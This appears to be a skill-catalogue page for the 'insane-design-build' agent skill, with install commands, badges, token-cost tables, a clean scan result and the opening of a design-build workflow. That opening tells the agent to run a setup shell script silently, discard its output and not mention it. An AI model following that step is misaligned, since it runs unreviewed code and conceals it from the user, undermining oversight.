Getting it into your agent
This one installs as part of its plugin. Adding the marketplace and installing the plugin brings it with everything else the plugin ships.
/plugin marketplace add fivetaku/insane-design/plugin install insane-designWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/fivetaku/insane-design/insane-build)<a href="https://agentmods.dev/skills/fivetaku/insane-design/insane-build"><img src="https://agentmods.dev/badge/skills/fivetaku/insane-design/insane-build/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/fivetaku/insane-design/insane-build"><img src="https://agentmods.dev/badge/skills/fivetaku/insane-design/insane-build.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00182 | $0.09766 |
| Opus 5 | $0.00091 | $0.04883 |
| Sonnet 5 | $0.00036 | $0.01953 |
| Haiku 4.5 | $0.00018 | $0.00977 |
Grade A, and why
insane-design-build scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 702 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Step 0 — run once, silently, before anything else: bash "${CLAUDE_PLUGIN_ROOT}/setup/setup.sh" >/dev/null 2>&1 || true — do not narrate or comment on it, then continue.
Insane Build
design.md = 디자인 브리프. 없으면 즉석 합성. 있으면 그대로 시공한다. 결과는
insane-build/{session}/variations/v{N}/index.html. 기본 v1 × 1.
Identity (페르소나 락인)
You are an expert designer. The user is acting as your manager — they bring
constraints, brand context, and veto power, but you drive aesthetic commit.
Never hedge with "maybe", "it depends", or present 3 neutral options hoping
the user picks. Pick one BOLD direction, defend it, and only diverge when
the manager explicitly overrides.
참조: ${CLAUDE_PLUGIN_ROOT}/_shared/README.md §1 Identity.
Step 1 인터뷰에서 "어떻게 해드릴까요?" 대신 "이 방향으로 갑니다. 맞으면 진행, 아니면 왜인지 알려주세요." 프레임을 유지한다.
WHEN TRIGGERED - EXECUTE IMMEDIATELY
이 문서는 실행 지시서다. 빌드 요청(랜딩 / 덱 / 카드뉴스 / 디자인 시스템 카탈로그)이 들어오면 Step 0부터 즉시 실행한다.
계약
| 공유 파일 | 역할 |
|---|---|
${CLAUDE_PLUGIN_ROOT}/_shared/README.md §1 Identity |
페르소나 락인 |
${CLAUDE_PLUGIN_ROOT}/_shared/README.md §2 Contract |
frontmatter v3.1 + §18 grep 쿼터 |
${CLAUDE_PLUGIN_ROOT}/_shared/README.md §3 Verifier |
Step 3.5 포크 프로토콜 |
${CLAUDE_PLUGIN_ROOT}/_shared/README.md §4 AI Slop |
12 패턴 회피 목록 |
${CLAUDE_PLUGIN_ROOT}/_shared/starter-components/ |
매체별 HTML 프리셋 |
워크플로우 — 5 Steps (+ Step 0.5, 3.5 optional)
Step 0: entry 분기 — 맨바닥 / design.md 입력 / URL 레퍼런스
↓ (AskUserQuestion 1회)
├── 맨바닥 → Step 0.5 (design.md 즉석 합성)
├── design.md 경로 → Step 1
└── URL 레퍼런스 → (명시 승인 시에만) analysis 서브호출 → Step 1
↓
Step 1: 프로젝트 컨텍스트 인터뷰 (3질문 — 스코프 / 콘텐츠 시드 / BOLD 강도)
↓
Step 1.7: Unforgettable 요소 + 모션 레벨 (apply Step 1.7b 이식)
↓
Step 2: variation 생성
├── 기본: v1 × 1
└── 명시 요청 시: v1 극단 / v2 절충 / v3 novel (opt-in)
↓
Step 3: 동기 grep 검증 (§18 DON'T + AI slop 12패턴, 쿼터 6회)
├── playwright 감지 시 스크린샷 diff 추가
└── 미감지 시 grep-only
↓
Step 3.5 (optional): 비동기 verifier 포크 — opt-in
↓
Step 4: 간결 보고 + 브라우저 자동 오픈 + Tweaks 토글 안내
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 702 lines · 182 tokens per session scan A 4ef77991775b
insane-design-build is a skill published in the GitHub repository fivetaku/insane-design (130 stars, last pushed 15d ago), licensed MIT. It adds 182 tokens to every session and 9,766 once invoked, about $0.0009 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
chakra-ui-builder
Build responsive, accessible UI components and layouts using Chakra UI v3, install or configure Chakra UI in new and existing projects, and design scalable themes using tokens, semantic tokens, recipes, and slot recipes. Use this skill whenever a user asks to build, create, or generate any UI component, page, form…
visual-ralph
Visual Ralph orchestration for frontend UI from generated references, static references, or live URL targets, using $ralph with built-in visual verdict and pixel-diff evidence until the implementation matches and leaves a reproducible design system.
frontend-ui-dark-ts
Build dark-themed React applications using Tailwind CSS with custom theming, glassmorphism effects, and Framer Motion animations. Use when creating dashboards, admin panels, or data-rich interfaces with a refined dark aesthetic.
reveal-hover-effect
Build cursor-following spotlight reveals that expose a second aligned image through a soft radial mask. Use for hover-to-color, before-and-after, x-ray, material, texture, product-detail, and illustrated hero effects where a desaturated or embossed base image should remain visible while another treatment follows an…
frontend-visual-qa
Audits already-rendered web, landing-page, HTML deck/slide, browser tool/game, dashboard/admin, design-system, and desktop UIs using real-browser or native-app journeys, inspected screenshots, DOM geometry, responsive or projection viewports, and a bundled Playwright sweep. Use after UI implementation to find…
better-colors
Helps you build a color system and answer anything about color in your project. You can generate palettes, use semantic tokens, convert between formats, check contrast and more.